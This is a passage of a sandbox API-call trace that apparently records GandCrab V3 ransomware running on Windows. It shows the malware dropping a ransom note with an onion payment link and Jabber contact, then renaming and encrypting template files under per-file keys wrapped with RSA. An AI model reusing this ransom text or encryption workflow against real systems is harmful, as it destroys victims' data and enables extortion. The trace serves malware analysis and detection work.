	[0112.733] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.733] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.733] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.734] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\\\CRAB-DECRYPT.txt") returned 75
	[0112.734] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0112.780] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.780] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0112.781] CloseHandle (hObject=0x3f0) returned 1
	[0112.781] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.781] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned 58
	[0112.781] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*"
	[0112.781] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7370
	[0112.782] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.782] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.782] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.782] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.782] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.782] lstrcmpW (lpString1="Calendar insights.xltm", lpString2=".") returned 1
	[0112.782] lstrcmpW (lpString1="Calendar insights.xltm", lpString2="..") returned 1
	[0112.782] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Calendar insights.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm"
	[0112.782] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.782] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm") returned 80
	[0112.782] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm") returned 80
	[0112.782] lstrlenW (lpString=".xltm") returned 5
	[0112.782] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.782] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xltm ") returned 6
	[0112.782] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.782] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm") returned 80
	[0112.782] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm") returned 80
	[0112.782] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="desktop.ini") returned -1
	[0112.782] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="autorun.inf") returned 1
	[0112.782] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="ntuser.dat") returned -1
	[0112.783] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="iconcache.db") returned -1
	[0112.783] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="bootsect.bak") returned 1
	[0112.783] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="boot.ini") returned 1
	[0112.783] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="ntuser.dat.log") returned -1
	[0112.783] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="thumbs.db") returned -1
	[0112.783] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="CRAB-DECRYPT.txt") returned -1
	[0112.783] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.783] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.CRAB") returned 85
	[0112.783] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\calendar insights.xltm")) returned 0x20
	[0112.785] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm", dwFileAttributes=0x20) returned 1
	[0112.785] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\calendar insights.xltm"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\calendar insights.xltm.crab")) returned 1
	[0112.785] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.786] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.CRAB"
	[0112.786] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.CRAB.CRAB"
	[0112.786] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e9e0) returned 1
	[0112.786] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.787] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.787] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.787] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0112.787] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0112.787] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.787] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0112.787] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.788] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.788] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.788] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0112.788] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.788] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.788] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0112.788] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0112.788] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0112.789] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda4420) returned 1
	[0112.789] CryptGetKeyParam (in: hKey=0xda4420, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0112.789] CryptEncrypt (in: hKey=0xda4420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0112.789] GetLastError () returned 0x0
	[0112.789] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.789] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0112.789] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda3ce0) returned 1
	[0112.789] CryptGetKeyParam (in: hKey=0xda3ce0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0112.790] CryptEncrypt (in: hKey=0xda3ce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0112.790] GetLastError () returned 0x0
	[0112.790] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.790] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\calendar insights.xltm.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0112.790] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0112.790] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0112.791] ReadFile (in: hFile=0x3f4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314b474*=0xdf362, lpOverlapped=0x0) returned 1
	[0112.846] VirtualAlloc (lpAddress=0x0, dwSize=0xdf370, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0112.859] VirtualAlloc (lpAddress=0x0, dwSize=0xdf370, flAllocationType=0x3000, flProtect=0x4) returned 0x3440000
	[0112.879] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.882] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfff20c9e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.882] WriteFile (in: hFile=0x3f4, lpBuffer=0x3440000*, nNumberOfBytesToWrite=0xdf370, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3440000*, lpNumberOfBytesWritten=0x314b464*=0xdf370, lpOverlapped=0x0) returned 1
	[0112.884] VirtualFree (lpAddress=0x3440000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.888] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.892] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0112.892] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0112.892] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0112.892] CloseHandle (hObject=0x3f4) returned 1
	[0112.906] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.906] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.907] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.907] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.907] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.907] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.908] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.908] lstrcmpW (lpString1="Cashflow analysis.xltm", lpString2=".") returned 1
	[0112.908] lstrcmpW (lpString1="Cashflow analysis.xltm", lpString2="..") returned 1
	[0112.908] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Cashflow analysis.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm"
	[0112.908] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.908] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm") returned 80
	[0112.908] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm") returned 80
	[0112.908] lstrlenW (lpString=".xltm") returned 5
	[0112.908] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.908] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xltm ") returned 6
	[0112.908] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.909] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm") returned 80
	[0112.909] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm") returned 80
	[0112.909] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="desktop.ini") returned -1
	[0112.909] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="autorun.inf") returned 1
	[0112.909] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="ntuser.dat") returned -1
	[0112.909] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="iconcache.db") returned -1
	[0112.909] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="bootsect.bak") returned 1
	[0112.909] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="boot.ini") returned 1
	[0112.909] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="ntuser.dat.log") returned -1
	[0112.909] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="thumbs.db") returned -1
	[0112.909] lstrcmpiW (lpString1="Cashflow analysis.xltm", lpString2="CRAB-DECRYPT.txt") returned -1
	[0112.909] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.909] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.CRAB") returned 85
	[0112.909] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm")) returned 0x20
	[0112.909] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm", dwFileAttributes=0x20) returned 1
	[0112.910] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm.crab")) returned 1
	[0112.911] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.911] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.CRAB"
	[0112.911] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.CRAB.CRAB"
	[0112.911] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0112.912] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.912] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.913] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.913] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0112.913] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.913] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.913] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0112.913] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.914] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.914] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.914] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0112.914] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.914] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.914] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0112.915] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0112.915] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0112.916] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda42a0) returned 1
	[0112.916] CryptGetKeyParam (in: hKey=0xda42a0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0112.916] CryptEncrypt (in: hKey=0xda42a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0112.916] GetLastError () returned 0x0
	[0112.916] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.916] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6eb78) returned 1
	[0112.917] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda3fa0) returned 1
	[0112.917] CryptGetKeyParam (in: hKey=0xda3fa0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0112.917] CryptEncrypt (in: hKey=0xda3fa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0112.917] GetLastError () returned 0x0
	[0112.917] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0112.917] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0112.918] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0112.918] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0112.918] ReadFile (in: hFile=0x3f4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314b474*=0x5cc66, lpOverlapped=0x0) returned 1
	[0112.967] VirtualAlloc (lpAddress=0x0, dwSize=0x5cc70, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0112.971] VirtualAlloc (lpAddress=0x0, dwSize=0x5cc70, flAllocationType=0x3000, flProtect=0x4) returned 0x33c0000
	[0112.977] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.979] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffa339a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.979] WriteFile (in: hFile=0x3f4, lpBuffer=0x33c0000*, nNumberOfBytesToWrite=0x5cc70, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x33c0000*, lpNumberOfBytesWritten=0x314b464*=0x5cc70, lpOverlapped=0x0) returned 1
	[0112.979] VirtualFree (lpAddress=0x33c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.981] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.984] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0112.984] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
